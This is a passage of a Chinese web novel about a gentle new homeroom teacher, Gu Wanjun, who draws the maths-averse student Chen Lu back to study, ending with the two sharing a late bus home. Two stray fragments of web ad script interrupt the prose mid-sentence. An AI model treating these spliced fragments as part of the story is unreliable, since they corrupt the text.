类似这样教导她好好学数学的话,陈璐不知道听过多少次,甚至有一段时间,一听到‘数学’两个字,她会下意识地产生抵触心理。 可是今天,此时此刻,她第一次听到有人问她对数学的想法,而这个人竟然是她的新班任,顾婉君。 为什么呢,为什么会有这种不按套路出牌的老师呢。 望着顾婉君那双仿佛可以包容一切的漂亮眼睛,陈璐真的想不明白。 …… 而另一边,肉眼可见陈璐的表情和眼神都有所变化,顾婉君挑了挑眉,心里多多少少有了些底气。 看来自己的谈话方向应该是对的,应该是老师的问题。 每个人都是从学生时期过来的,顾婉君很清楚老师对学生的作用有多么重要,当一个学生喜欢哪科老师时,那这个学生那科成绩绝对差不了,同理,当一个学生讨厌哪科老师时,可能会连带着讨厌那门学科,以至于学生的那科成绩非常差。 现在看来,陈璐很有可能就属于后者。 …… 找到问题的关键,事情就好办多了,顾婉君语气轻松地接着试探道: “你不喜欢咱们班的王老师?” “不是。”陈璐这次回答得很快。 “那是因为之前有不喜欢的数学老师?” “……” 沉默十几秒,陈璐才轻轻点了一下头。 顾婉君抿了抿唇,似乎是怕吓到眼前人,她有意放轻语气:“能跟我说说吗?” “……” 不知是不是顾婉君的错觉,站得挺直的肩背有一瞬的颤抖,陈璐犹豫了几秒,最后还是摇头。 知道这种事急不得,顾婉君没再追问下去,“没关系,不想说就不说,等你什么时候想说的时候来找我,不过……” 顾婉君有意顿了顿,几秒后,当陈璐有些疑惑地抬起头、两人视线交汇时,顾婉君才放轻语气,继续说: “虽然不知道发生了什么,但是因为一个不喜欢的老师而放弃整个学科,这是非常不值得的,为什么要被一个自己讨厌的人影响自己的人生呢,这样受损失的人只有你,那个你讨厌的人什么损失都没有,这是你想要的吗?” “……” 话音一落,陈璐唇瓣微动,之后垂下眼眸,显然,她在认真思考顾婉君说的话。 眼见自己的话可能已经起了效果,顾婉君见好就收,点到为止,她巧妙地转变了谈话氛围: “而且如果非要说因为一个老师影响一门学科,那其实你可以爱屋及乌的,就比如说你很喜欢学语文是吧,这样一来你应该要爱屋及乌地喜欢我这个语文老师才对呢。” “……” …… 离开语文办公室、走到二楼楼梯拐角时,第五节课上课铃准时打响。 贴着楼梯扶手下楼的陈璐被铃声吓了一跳,手里的黑色笔记本险些没拿住,她梦中惊醒般地从自己的情绪里跳脱出来,后知后觉地回想起刚才发生的一切。 两人这次课间谈话的结果是——顾婉君把那本黑色笔记本还给陈璐,而作为交换条件,陈璐要跟顾婉君定下“君子协定”,不管学不学数学,陈璐今后都不能再在数学课上写小说,并且要找一个合适的时间去找数学老师道歉。 而在离开办公室之前,顾婉君笑着问陈璐整本小说写完之后能不能拿给她看看,因为她非常期待这本小说的后续。 …… 浓密的长睫快速眨动,宛若振翅欲飞的黑蝴蝶,想起刚才的种种对话,陈璐那双清澈平静的眼睛里悄无声息地掀起了一场波澜。 这一切不是她不切实际的幻想,是真实发生过的现实。 顾婉君真的和其他老师不一样。 大抵是因为还有一节课就要中午放学了,没响完的上课铃此刻听起来都是那么的悦耳动听。 一路小跑赶着回班上课的楼梯上,在陈璐本人都没意识到的情况下,一抹明媚轻浅的笑意在她如画般的眉眼间悄然绽放蔓延。 6. 6 熬过饥肠辘辘的第五节课,终于挨到了中午放学。 江蓁蓁早中晚都有父母亲自接送,傅一雯家里是开烧烤店的,店里忙的时候她就在学校食堂解决午饭问题。 陈璐就更不用说了,她午餐几乎顿顿在外面吃,要不就是校内食堂,要不就是校外小吃店,毕竟家里只有她一个人,回去也没饭吃。 放学铃刚一打响,和江蓁蓁喊山似地简单告了别之后,傅一雯拉着陈璐的胳膊,挤着人群冲出教室,直奔学校食堂抢位置。 …… —— 学校食堂。 两人呼哧带喘地冲进食堂,陈璐买水占座,傅一雯去点饭。 “老板,两份黄焖鸡米饭!其中一份多加份饭!” “好嘞!” 两份饭很快就做好端上来了,傅一雯拿着饭和刚好买完水的陈璐汇合。 两人坐下准备开饭的时候,中午放学铃才刚响完。 这一上午可给傅一雯饿坏了,坐下之后,气还没喘匀,她就开始狼吞虎咽地往嘴里塞饭,把腮帮子塞得鼓鼓囊囊的,活像只冬天嘴里藏满粮食的松鼠。 “哎呦我天,噎死我了,他家这黄焖鸡今天多少有点齁了啊!” 傅一雯拧开瓶盖,咕咚咕咚喝了半瓶矿泉水,总算是把那一大口差点噎死她的饭顺了下去。 吃饭也挡不住傅一雯八卦的心思,似乎是想起了什么,她放下矿泉水瓶,一边打扫餐盘里快要见底的饭菜,一边闲聊: “哎对了,璐璐,第四节课下课,顾婉君叫你去办公室都说什么了,我看你回来的时候手里拿着个黑色笔记本,是你写小说的那本吗?顾婉君真还给你了?” “嗯。”陈璐点头,筷子夹起一块土豆块放在嘴里。 “那这事就是解决了呗,咋解决的啊?顾婉君没罚你吧?” “没有,她让我跟她保证不再在数学课上写小说,然后找个时间和数学老师道个歉,这事就算解决了。” “……那你跟她保证了?” “嗯。” “……” 像是听到了什么不可思议的事情,傅一雯惊得张大嘴巴,差点把没咽完的饭喷出来! “不是,你还真跟她保证了!?” “嗯。”陈璐放下筷子,从校服口袋里拿出半包卫生纸,递给傅一雯。 傅一雯接过纸巾包,从中抽出来一张擦了擦嘴角,嘴里还不住地嘟囔着: “我说璐璐,你这是缓兵之计吧?就是那种表面上答应顾婉君,实际还是想写就写?” “什么缓兵之计,答应了的事当然就要做到。”陈璐语气平静,完全没有开玩笑的意思。 话音一落,傅一雯更不相信自己的耳朵了,她眼睛要是眨得再快点都恨不得能把陈璐扇感冒了,“那也就是说……你真打算以后数学课上都不写小说了?” “嗯。” “不是,今儿个太阳是打西边出来了吗……” “什么意思?” “咱不说别人,就上课写小说这个问题,之前老郑都找你谈了多少次话了,那你都没松口说不写,这新班任刚来一上午,你就跟她保证了?这顾婉君给你灌什么迷魂药了?” “……” 夹菜的动作停顿了一下,陈璐抬眼看向坐在自己正对面、脸上写满震惊的好友。 四目相对,意识到言辞好像有点不妥,傅一雯立马缩了缩肩膀,闭嘴嚼饭,再开口说话时,她声音都小了好几个度: “不是,璐璐,我没有别的意思,主要是这个新班任确实跟别的老师不太一样,而且你俩竟然还出奇地有缘分,你看这事——” “啊,是你们两个啊。” 突如其来的温柔女声打断了傅一雯的话,顺着声音方向看去,攥着筷子的左手指尖微微泛白,陈璐眉心微动,眼睛里闪过一抹不易察觉的亮色。 顾婉君中午也在食堂吃饭吗? …… 与陈璐好奇的心理活动不同,看见顾婉君那张笑颜如花的脸时,上一秒还在议论对方的傅一雯吓得险些没栽到桌子底下去! 真是人倒霉的时候喝凉水都塞牙!这都能碰上!? 她们很熟吗?顾婉君为什么要跟她们搭话? 这新班任该不会听见自己刚才说的话了吧…… 虽然刚才没说什么顾婉君的不好,可傅一雯还是心虚地打了个哆嗦,与此同时,顾婉君已经走到两人的餐桌旁了。 出于心虚,傅一雯最先反应过来问好:“老师好!” “老师好。”陈璐敛起眼底的情绪,跟着问了声好。 “嗯,你们好。” 顾婉君唇角微微上扬,宛若冬日暖阳那般明亮温柔,走近之后,那双温水润的桃花眸就这么看着陈璐:“你们来得好快啊,都快吃完了。” “害,这不是怕抢不上饭嘛。”以为陈璐可能跟往常一样不喜欢和别人搭话,傅一雯只能硬着头皮开启社牛模式:“对了,顾老师,你也来食堂吃饭啊?” “嗯,这是我第二次来。”顾婉君看了一眼傅一雯,之后视线又转回到陈璐身上:“食堂的饭菜,你们有什么推荐的吗?” “啊,这个……” 傅一雯本来想回答来着,可眼见顾婉君一直盯着陈璐看,她实在是不好一直抢话。 璐璐诶,小祖宗,这新老师都问到你头上了,要不咱吱一声呢? 傅一雯疯狂给陈璐使眼色,而另一边,陈璐也察觉到了顾婉君一直在看着自己,似乎是在等自己的回答。 又是这种情况。 明明周围还有别人,这个新老师为什么总盯着她呢。 …… 眼下不是细想这些的时候,把食堂的所有饭菜在脑海里都过了一遍之后,陈璐认真给出建议: “3号窗口的黄焖鸡米饭挺好的,我们吃的就是这个,不过今天做的好像有点咸了,如果是面的话,我推荐5号窗口的麻酱鸡丝拌面。” “这样啊,听起来不错。”顾婉君点头,弯了弯眼眸:“那我一会就吃麻酱鸡丝拌面吧,谢谢你的推荐。” “不客气。” 说完之后,考虑到食堂中午人员爆满,来得晚的人可能暂时没有座位,正当陈璐犹豫着要不要开口问一下顾婉君有没有座位时,不远处的座位上传来了几个学生欢快期待的声音: “老师,这儿!看见了吗!” “我们在这呢老师!快来快来!” “快来啊婉君老师,我们给你留了位置,大家都等你呢!” “……” 顾婉君朝着呼喊声方向笑着点头,之后跟陈璐和傅一雯解释,“是我之前教过的学生,我先过去了,你们慢慢吃。” “奥,老师再见!”“老师再见。” 傅一雯冲着顾婉君摆摆手,陈璐则是目送着顾婉君的背影融入在一群高一学生当中。 “哎,看来‘小灵通’消息没错,顾婉君是真受学生欢迎啊。” 傅一雯轻啧两声,收回八卦的视线,自顾自地嘟囔着: “也是,温柔漂亮的老师走到哪都受欢迎,哎我说璐璐,你说咱——璐璐?陈璐同学?” “……” 桌对面傅一雯说了什么,陈璐完全没听见,她视线一直停留在顾婉君那桌,思绪翻涌。 真的会有能完全和学生打成一片的老师吗? 这有说有笑的也不像是演的,可不是听说才教了半学期吗,感情就这么好了? 陈璐有些不理解,可当联想起今天上午发生的一切时,虽然说不出具体原因,但她不得不承认顾婉君确实是个非常招人喜欢的老师。 …… 陈璐此刻还没有意识到自己的心思已经跟着顾婉君飞到另一个餐桌上了,直到眼前多了一只晃悠来晃悠去的小胖手,陈璐才回过神来: “怎么了?” “什么怎么了,我刚才跟你说话你听见没有啊?”傅一雯一脸无奈,她手都快要摇断了,这人才有点反应。 “你刚才说什么?” “……” 对上陈璐那双灵动干净的月牙眼,傅一雯是真拿这人没辙,她撇撇嘴,有些哭笑不得: “不是我说,什么情况,你刚才眼睛都直了,看谁呢?不会是看咱那新老师呢吧?” “嗯。”陈璐没否认,实话实说:“我在想她为什么这么受欢迎。” “……” 陈璐的回答有些出乎傅一雯的意料,毕竟在傅一雯的印象里,陈璐一直都是那种除了小说和学习之外不问世事的高岭之花,结果从这个新老师来之后,高岭之花变好奇宝宝了,这反差属实让人有些惊讶。 似乎是嗅到了某些八卦的味道,傅一雯摸了摸鼻子,嬉皮笑脸地小声问道: “璐璐,你是不是挺喜欢咱们这个新老师啊?” “……” “啧,什么眼神什么眼神,我告诉你,你可别吓唬我啊,我说的可都是大实话!” 傅一雯缩了缩肩膀,嘴皮子却没停: “你就说吧,你什么时候这么关注过一个老师,就连老郑,除了做好课代表该做的分内之事,你什么时候关注人家跟同学相处得好不好了?你说我分析得对不对吧!” 傅一雯敲敲桌子,表情像是发现了什么不得了的大事,她探头压低声音道: “而且据我观察,咱这新老师好像也没少关注你,你就说刚才吧,她一过来就盯着你——” “傅一雯。”陈璐放下筷子,打断了好友的话。 “咋了?” “孙老师。”陈璐目光投向食堂门口方向,语气平静。 “……孙老师!?” 提到孙丽霞,傅一雯瞬间瞳孔地震:“孙老师也来食堂了?哪呢?孙老师在哪呢?!” 傅一雯脑袋转得像拨浪鼓,她急吼吼地四处张望着她的孙老师,直接把有关顾婉君的话题抛之脑后了! 然而一圈看下来,食堂里哪有孙丽霞的影子? …… “不是璐璐,你跟哪儿看见孙老师——” 傅一雯扭回头来想问个明白,结果桌对面哪还有人了,陈璐已经端着吃完的餐盘准备送去餐具清洗区了。 “好家伙,转移话题调虎离山是吧!哎不是,你倒是等等我啊!” 傅一雯把最后一口饭扒拉到嘴里,之后端着餐盘起身去追陈璐。 …… 离开食堂之前,陈璐留心看了一眼顾婉君落座的方向,好几个女同学围着顾婉君坐,大家叽叽喳喳,有说有笑,热闹的不得了。 从始至终,顾婉君那双天生含情的桃花眸里始终噙着温柔包容的笑意,看得出来,她是真的和学生们相处得很好。 想起刚才傅一雯说顾婉君好像很关注自己,这么一看,这个老师应该平等地关注了很多同学。 陈璐收回视线,不再看顾婉君那个方向。 …… —— 从食堂出来,傅一雯追上陈璐,硬拉着好友去了食堂旁边的小商店。 今天孙丽霞要给1班上政治晚课,之前12班有政治晚课的时候,傅一雯都会特意来商店买瓶牛奶给孙丽霞,现在即使孙丽霞不教12班了,傅一雯却依旧要保持送对方牛奶的习惯。 然而不巧的是,傅一雯经常买的那个牌子的牛奶今天卖没了,犹豫片刻,她拿了货架上另一种最贵的,之后又拿了一瓶最便宜的矿泉水,最后一起结账。 出来之后,许是刚才那顿饭真的吃咸了,傅一雯拧开矿泉水瓶盖,吨吨吨半瓶又没了。 眼见傅一雯把那瓶七块钱的牛奶宝贝似地抱在怀里,陈璐觉得自己有必要提醒一下好友。 “你今天去办公室的时候,看到咱们班的新政治老师了吗?”陈璐主动开口引出话题。 “没,我听孙老师说那人明天才来。”傅一雯撇撇嘴角,提到新老师,她很难高兴得起来。 “新政治老师来了之后,你还要每天都去找孙老师吗?” “当然,我找孙老师,关那人什么事?” “但她们都在一个办公室,这样有点不太好。” “有什么不好的,我是政治课代表,去文综办公室找政治老师不是很正常吗?” “可孙老师已经不教我们班了,你——” 话说到一半,对上傅一雯那双泫然若泣的眼睛,到嘴边的后半句“你已经不是孙老师的政治课代表了”,陈璐怎么也说不出口,她叹了口气,没再提这个话题。 …… —— 下午第二节课课间。 3楼,书记办公室。 按照和顾婉君的约定,陈璐拿着检讨书去书记办公室找数学老师王振德道歉。 办公室里,有几个老师来给王振德交党内材料,王振德让陈璐先在旁边等会,直到老师都走了、办公室只剩他们两个的时候,王振德才问陈璐有什么事。 不知是不是顾婉君提前打过招呼了,看见陈璐递过来的检讨书,王振德并没有太大的反应。 “你们顾老师帮你跟我解释过了,她说你这次认错态度很好,不仅主动保证说再也不在数学课上写小说了,还要写检讨书来跟我道歉,起初我还不相信,毕竟你在我这可是惯犯了,不过现在看来,你们班任还真没忽悠我。” “……” 王振德的话听得陈璐一惊又一惊,可眼前人罕见的和蔼态度还是让陈璐捏着校服袖口的手下意识松了松。 难怪数学老师没再骂她,合着是顾婉君帮她把好话都说尽了。 …… 王振德拍了拍桌上的检讨书,表情一如既往地严肃:“距离高考还有一年,这个时候知错就改还不晚,既然保证了就要做到,知道吧?”。 “嗯,知道。”陈璐点头。 “你这检讨书写得挺深刻的,写那些乱七八糟的写得都练出来了吧。” “……” 提到写小说,以为王振德气不过又要骂自己,陈璐抿了抿唇,默默攥紧了袖口。 可出乎陈璐意料的是,王振德没骂她,更没阴阳怪气地嘲讽她,而是语气相当冷静严肃地告诉她: “你这检讨书里写着对不起我,错了,你没对不起我,也没对不起任何人,你对不起的是你自己。” “……” 听到这话,陈璐眼里多了几分不解和震惊,这种话她之前听郑薇说过,可从王振德这儿听见还是第一次。 “有好多学生拎不清这个问题,作为老师,我们管你们骂你们不是为了别的,而是我们不想看见你们浪费你们自己宝贵的时间,时不我待啊,高中三年,人生最关键的时候啊,学三年苦三年累三年,为的不就是最后高考考出个好成绩、走出小县城去大城市谋个好生活吗,你要是笨、学不明白数学也就算了,可你是个聪明孩子,你要是肯学数学,绝对不可能是这个成绩,我也是恨铁不成钢啊。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 之后王振德又说了很多,都是些希望陈璐能认真对自己的人生负责之类的话。 从书记办公室出来之后,陈璐贴着楼梯扶手下楼。 对陈璐来说,像今天这样和数学老师冷静平等的沟通还是第一次,想都不用想,这其中少不了顾婉君的作用。 顾婉君。顾婉君。 这个老师似乎真的有种说不出来的魔力。 那双温柔包容的桃花眸浮现至眼前,陈璐突然觉得如果今早公交车上是她和这个新班任的初见,那被踩一脚好像也没那么糟糕。 …… 冬天下午的课程,几乎每个班都是昏昏欲睡的状态。 不知道是学年校长抽查还是新班任顾婉君在熟悉监控性能,12班的监控吱吱呀呀地转了一下午,以至于好多同学困出三眼皮根本不敢合眼。 …… —— 晚上七点,班主任顾婉君进班坐班看晚自习。 按照惯例,晚自习前半程是数学讲题时间,由数学课代表江蓁蓁和其他几个数学成绩好的同学轮流讲题出题、小组讨论、提问定义,最后找同学上黑板上解题,所有文科班几乎都贯彻落实了这个方法,效果显著。 小组讨论时,生怕一会被叫到讲台上展示解题过程,大家都追着数学成绩好的同学一顿狂问。 陈璐也破天荒地问了傅一雯一些数学题的解题步骤,并在讲解时认真发问哪个步骤是怎么来的,这让傅一雯差点惊掉下巴。 眼前人还是陈璐吗?怎么好像突然换了个芯子? …… 顾婉君下地巡视,走到靠窗那趟过道时,她看见傅一雯正在给陈璐讲数学题。 傅一雯数学成绩还不错,几乎每次考试都保持在八九十分,只是她不爱写数学作业,经常因为抄作业被叫到办公室罚站,不看这一点的话,她的水平是可以给陈璐讲题的。 不过此时此刻,大概是碰到了那种明明自己会做、却给别人讲不明白的题,再加上陈璐突然开窍般地一顿问问题,傅一雯嘴上讲个不停,手又在草稿纸上狂写步骤,可陈璐却还是一脸茫然地连连摇头。 …… “还是没听懂吗?啧,哎,等会啊,我再想想还有没有别的更好理解的方法啊,这题出的——” “是遇到难题了吗?” 顾婉君的突然插话让正在讨论题的两人有些意外,尤其是陈璐。 熟悉的白茶香味萦绕鼻尖,陈璐眼睫颤动,捏着数学书的手指指腹不自觉地摩挲了两下页脚,她默默往椅子里站了站,拉开了和站在过道的顾婉君的距离。 沉浸在解题步骤里的傅一雯没有察觉到陈璐的情绪变化,她如实回应: “是啊老师,有道题我怎么都讲不明白,步骤太繁琐了。” “哪道题,我看看,这道吗?” 扫了两眼题目后,顾婉君朝陈璐伸手要数学书,陈璐愣了一下,之后把手里的数学书递了过去。 打开数学书某页,找到应这道题的定义公式,顾婉君从傅一雯手里拿过笔,开始给陈璐画公式定义,之后开始讲这道题。 一旁傅一雯跟着听,没听一会就有种‘原来这题还能这么解’的豁然开朗的感觉。 不过让傅一雯后知后觉十分震惊的是,她们这新班任不是语文老师吗?这种上了难度的数学题也能讲? …… 所有步骤讲完之后,顾婉君偏头看着陈璐的眼睛,轻声问:“我讲清楚了吗?还有哪不明白?” “嗯……”陈璐仔细看着解题过程,思考片刻,她用笔圈出草稿纸上的一个式子,认真问道:“这个式子是怎么推导出来的?” “……” 眼见陈璐指的是某个必背公式,傅一雯暗道不妙,生怕气氛变得尴尬,她刚想开口帮好友打圆场,结果顾婉君自顾自地低头翻书,语气依旧温柔平和,没有丝毫不耐烦: “这个是另一个公式。” 翻到指定页码后,顾婉君指给陈璐看:“是这个公式,你要把它背下来,下次遇到这种用得上。” “好。”陈璐点头,默默在公式旁边画了个重点号。 “还有哪不明白吗?” “没有了。” “真的?” “嗯。” “好,你们继续讨论吧。” 顾婉君放下笔,接着去巡视其他组,临走前,她还拍了拍陈璐和傅一雯的肩膀。 直到顾婉君走远后,傅一雯才松了口气,她把脑袋凑过去,小声问陈璐:“哎,璐璐,你真听懂了吗?” “嗯。”陈璐埋头草稿纸,认真捋着刚才顾婉君讲的解题步骤。 “那就行,顾老师刚才讲的解题方法确实简单。” 傅一雯轻啧两声,临了还忍不住感慨了一句不愧是北大毕业的,真是全才。 说者无心,听者有意,话音一落,似乎是想到了什么,陈璐停下手中验算的笔,抬头四下张望。 此时此刻,顾婉君巡视到了隔壁过道,并停下脚步,看样子应该是在给那一组讲题。 …… 讨论结束,黑板展示解题环节。 数学课代表江蓁蓁站在讲台上引导流程、找同学上黑板讲题、纠正完善同学们的讲解,班任顾婉君则是坐在墙角的椅子上坐镇维持秩序。 轮到上台展示解题过程这个环节,同学们一般都避之不及,更别说主动举手了。 在找人展示刚才傅一雯她们探讨过的那道题时,或许是题太难了,或许是没把握能讲好,班级里一片寂静,没有一个人举手。 放在以前,如果是这种全班没有一个人举手的情况,班任郑薇会随机点一名数学成绩不太好的同学上去展示。 然而对于新班任顾婉君,大家不知道她会怎么做。 …… 视线扫视全班,顾婉君的目光在靠窗第三排位置多停留了两秒。 视线交汇,顾婉君没说话,只是冲着陈璐微挑了一下眉头。 要上黑板试试吗? 陈璐大概读懂了顾婉君的意思。 对方没有直接点她上去展示,而是在征求她的意见。 草稿纸上行云流水的解题步骤飞速在大脑里闪过,压根就没想过上黑板展示的陈璐抿抿唇角,竟然犹豫了。 …… “有人想上来尝试着解一下这道题吗?” 这话是数学课代表江蓁蓁问的,由于一直没有人举手,她只好反复问了几遍。 江蓁蓁的声音很轻,可话音落地,教室里依旧一片沉默。 “试试也行。”顾婉君语气温和地补上了一句鼓励:“解到哪儿都可以,解不出来也没关系,我们一起分析,有没有同学勇于尝试一下?” “……” 底下同学似乎被顾婉君的鼓励说动了,有几个跃跃欲试的女同学抬头看看黑板,又低头看看草稿纸,可不知是什么原因,如此反复几次之后,还是没有人举手。 眼见陈璐也没举手,顾婉君心里多多少少有些失落,不过这个结果也在她的预料之中。 对于一个之前从来不学数学的人来说,迈出第一步真的需要相当大的勇气,陈璐没准备好上台展示也情有可原。 这样沉默下去不是办法,正当顾婉君想着要不要点一个同学起来问问认为这道题的难点在哪,结果在一片无声胜有声的震惊注视下,靠窗第三排,陈璐默默举起了手。 7. 7 晚上十点,下晚自习铃声准时打响。 结束一天的学习征程,同学们套好冬季校服,做好保暖措施,拿着没写完的作业准备回家。 一些接孩子下晚自习的家长每晚十点都会准时在校门口等着接孩子,其中就包括江蓁蓁的家长,以至于她每次都收拾得特别快。 不过在今晚,临走之前,收拾完的江蓁蓁想鼓励一下第一次上黑板上展示数学题的好友陈璐,可当她走到靠窗第三排时,位置上哪还有陈璐的影子了? …… 江蓁蓁拍了拍第四排正埋头收拾书桌的傅一雯,想问一下陈璐去哪了,结果被拍的人让吓了一跳,就差没尖叫了。 “哎呦我去,我还以为谁拍我呢,吓我一跳!不是,蓁蓁,你怎么还没走啊,你妈应该在门口等你了吧?” “嗯,她应该来了。”江蓁蓁边问边偏头看了一眼墙上的钟表,语气有些急切:“璐璐呢?” “奥,她说她今晚要去她姥姥家,得赶最后一班公交车,打铃之后直接从后门走了,怎么了你,找她有事啊?” “也没什么大事,我只是想跟她说她今晚上黑板展示的那道题讲得特别好。” “哈哈哈,那你看看,也不看是谁教的!”傅一雯咧嘴笑笑,边说边从包里翻出毛线帽戴在头上。 眼见傅一雯一脸开心,似乎是误会了什么,江蓁蓁张大嘴巴,一脸不可置信:“是你教的吗?你说服璐璐上黑板展示的?” 江蓁蓁当然知道傅一雯平时会给陈璐讲题,可她不认为有人能劝说陈璐上黑板展示,除非陈璐自己愿意。 果不其然,问题一出,傅一雯撇下嘴角,长着小雀斑的小圆脸上立马露出一副八卦的表情: “害,我是没那个本事喽,还得是咱们顾老师!” “……顾老师?” 又是一个吃惊,江蓁蓁眼睛睁得更圆了:“璐璐她不是不太喜欢——” 瞟了一眼四周还没走的同学,意识到不妥的江蓁蓁欲言又止,转回正题:“算了,先不说那些,那顾老师是怎么说服璐璐的啊?” “嗯……她啥也没说啊。” “什么都没说?” “嗯,她就是一直盯着璐璐看,给璐璐硬是盯上去了,你说神奇不?” “……” —— 公交车站。 站牌前,呵出的道道白汽在空中飘散,紧赶慢赶跑来等车的几乎都是刚下晚自习的高中生,大家缩着脖子,来回跺脚,试图抵御寒冷。 人群之中,冻红的手指往上拉了拉口罩,凝结着冰霜的长睫忽闪忽闪,陈璐的目光始终望着公交车来的方向。 刚才出校门的时候,她看见好朋友江蓁蓁的妈妈一如既往地在校门口等着接江蓁蓁,两人还打了声招呼。 耳边陆续传来学生们的对话声,大多都是在讨论有关作业和考试的话题。 校服口袋里揣着折成一小叠的文综卷子,这是为数不多陈璐晚自习没写完作业、要把卷子拿回家做。 今晚她第一次用了前半程晚自习的时间去学数学。 甚至还到黑板上展示了一道数学题。 天空飘起小雪,雪花在昏黄的路灯灯光下盘旋飞舞,最后悄无声息地落在某地,难逃融化的命运。 缓慢推近的灯光逐渐照亮结了一层冰的路面,公交车来了。 陈璐排在面前,是前几个上车的,上车之后,她余光下意识从车窗瞟了一眼车外的人,结果刚好看到有一个人从校门口方向朝着公交站牌一路小跑过来,急匆匆地排在了上车队伍的最末端。 那抹熟悉的木兰红搭配一身白的穿搭,来人不是别人,正是顾婉君。 …… 晚自习铃一打响,本来顾婉君是直接要来等公交车的,结果出了班级一摸口袋,家门钥匙没带,她又不得不一路小跑到4楼办公室拿钥匙,之后又跑下楼来赶公交车。 好在是赶上了。 不过看样子得站一路了。 望着前面数不清的、清一色的冬季校服,顾婉君往下稍微拉了拉围巾,调整呼吸,呵出白汽的频率比同行的人要高出一截,大概是最近疏于锻炼,这几步跑得都快把她肺跑出来了。 身后陆陆续续又多了几个刚出校门的学生。 上车之后,顾婉君想着找一个有扶栏方便站着的地方,她刚往里走了两步,座位上突然伸出一只手拉住了她的胳膊。 车内灯光昏暗、人潮拥挤的情况下,顾婉君下意识想挣脱,结果随之而来一道熟悉的声音,顾婉君定睛一看,拉住她的人是陈璐。 “老师,你坐这里面吧。” 陈璐边说,边把她旁边靠窗座位上折成一沓的、用来占座的文综卷子拿起来。 陈璐这一举动完全出乎顾婉君的意料,可前后都有人的情况下,顾婉君没有理由拒绝,她压下眼底的震惊,笑着说了声谢谢,之后越过陈璐,坐到了里面的靠窗位置。 …… 公交车重新启动。 天冷路滑,整辆车里又挤满了人,司机师傅驾驶时不得不再小心。 窗外雪花纷飞,寒风肆虐,车内,昏黄的灯光照得每个人影影绰绰,人与人之间的衣服摩擦声不绝于耳。 呼吸平复到正常频率时,顾婉君松了松围巾,偏头看着陈璐。 放在两分钟前,她绝对想不到她会在公交车上碰到陈璐,更不会想到这人还会帮她占座。 暖色调的灯光勾勒出年轻女孩流畅的侧脸,想起晚自习时这人自信大方地在黑板上展示数学题,顾婉君勾了勾唇角,她往前凑了凑,用大概只有两个人能听见的声音,轻声问: “你也坐这趟公交回家?” “嗯。”陈璐闻声偏头看了一眼顾婉君,之后很快又转回头去,目视前方。 “你怎么知道我坐这趟车?” “刚才上车之后,我从车窗看见你了。”陈璐如实回答,虽然她依旧目视前方,可大概是为了让顾婉君能听清她说话,她的头也稍稍往靠窗方向歪了歪。 “所以你就帮我占座了?” “嗯。” “谢谢你啊。” 顾婉君语气依旧温柔平和,听得陈璐心里酥酥麻麻的,她下意识偏头看去,果然对上了那双难掩温柔笑意的桃花眸。 装在校服口袋里的文综卷被捏皱了,陈璐收回视线,语气冷静地回了一句不客气。 …… 想起郑薇说的陈璐的原生家庭情况,顾婉君一直都想找个机会跟陈璐好好聊聊,可是公交车上人多眼杂,又好像不是能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说这些事的地方。 这么好的交谈机会,说点什么好呢。 顾婉君垂眸盯着自己的脚尖,大脑飞速运转,思考话题,忽然,公交车一个急刹车,车上的人身体惯性向前冲,车过道人潮涌动,许多人被这个急刹车晃了个趔趄,险些站不稳! 出于老师的责任感,顾婉君第一反应不是自我保护,而是下意识伸手用力按住旁边座位上的陈璐,避免对方由于惯性撞到头。 然而令顾婉君没想到的是,被她护住的陈璐,竟然也在第一时间伸出手掌挡住了她正前方的座背,并且还是掌心冲着她的额头方向。 视线交汇,两人都看清了彼此眼里的震惊。 先反应过来的顾婉君想开口说点什么,下一秒,陈璐却突然眉头轻皱,明显倒吸了一口凉气。 “SorrySorry,没站稳踩到你了,没事吧?”车过道上,一个扶着扶杆的、身高体壮的男高中生连连跟陈璐道歉。 话音一落,陈璐轻轻摇头,语气平静地说了一句没事,顾婉君这才反应过来眼前人是被人踩了一脚。 两道细眉登时拧在一起,顾婉君扶着陈璐的肩膀,关切地问了一句:“怎么样,没事吧?” “没事。”陈璐摇头。 “真没事吗,不要逞强。” “真没事。” “刚才我坐外面的位置好了。” “谁坐都一样,没事。” “……” 听着陈璐平静的语气,顾婉君愣了一下,她突然反应过来为什么陈璐叫自己坐在里面。 看着眼前女孩清瘦的脸庞,联想起刚才想要护住自己的那只手,顾婉君当下一阵感动和心疼,她从包里翻出湿巾递给陈璐,让对方擦擦鞋。 接过湿巾后,陈璐没有第一时间擦鞋,而是把湿巾揣进了口袋,她说一会下车还要走雪路,回家之后一起擦。 听到陈璐这样说,顾婉君也没反对,可是担忧和关切却依旧盘旋在她的眉眼之间。 顾婉君下意识低头看了一眼,然而就是这么一眼,她突然觉得陈璐脚上那双被印了半只黑色脚印的白鞋怎么看怎么眼熟。 等会,不会这么巧吧? …… 回想起早上公交车上那段小插曲,顾婉君表情微怔,觉得有些不可思议,她试探着问了一句: “你今早是坐最早那班公交车来学校的吗?” “嗯。” “那你早上有没有被人不小心踩一脚?” 话音一落,陈璐唇角微动,最后轻点了一下头:“嗯。” “……” 悬着的心终于死了。 原来还真有这么巧的事。 顾婉君表情多了几分不好意思,她赶忙轻声道歉:“对不起啊,早上踩到你的那个人应该是我。” “嗯,我知道,没事。” “你知道?”顾婉君惊得扬了扬眉毛。 “嗯,我认得你的红围巾。” “……所以在教学楼门口扶我的时候,你就认出我是公交车上踩你的那个人了?” “嗯。” “……” 顾婉君有些哭笑不得,尴尬之余,她心里不禁好奇自己和陈璐这孩子到底是什么样的缘分。 …… 8. 8 公交车途径几站,每一次停车,车上空间就会松快一些。 途径最后几站时,原本人潮拥挤的公交车上就只剩五六个人了。 其中就有顾婉君和陈璐。 …… 距离终点站的倒数第二站。 公交车后门打开,陈璐和顾婉君一前一后下了车。 从刚才简单的聊天可知,陈璐要去的地方和顾婉君暂住的小区就隔了一条街。 眼看着快半夜十二点了,这条街上早就没什么人了,就连路过的车辆也是少之又少。 看着街对面隐匿在黑暗和风雪中的老式小区,陈璐抿了抿唇,她不明白顾婉君为什么要住在离学校这么远的地方。 而一旁,同样心情复杂的还有顾婉君。 看着眼前这栋比自己住的地方条件好不了多少的老式小区,顾婉君又想起郑薇说的陈璐靠自己赚稿费生活的事。 因为要省钱,所以才住在这么偏远的老小区里吗? 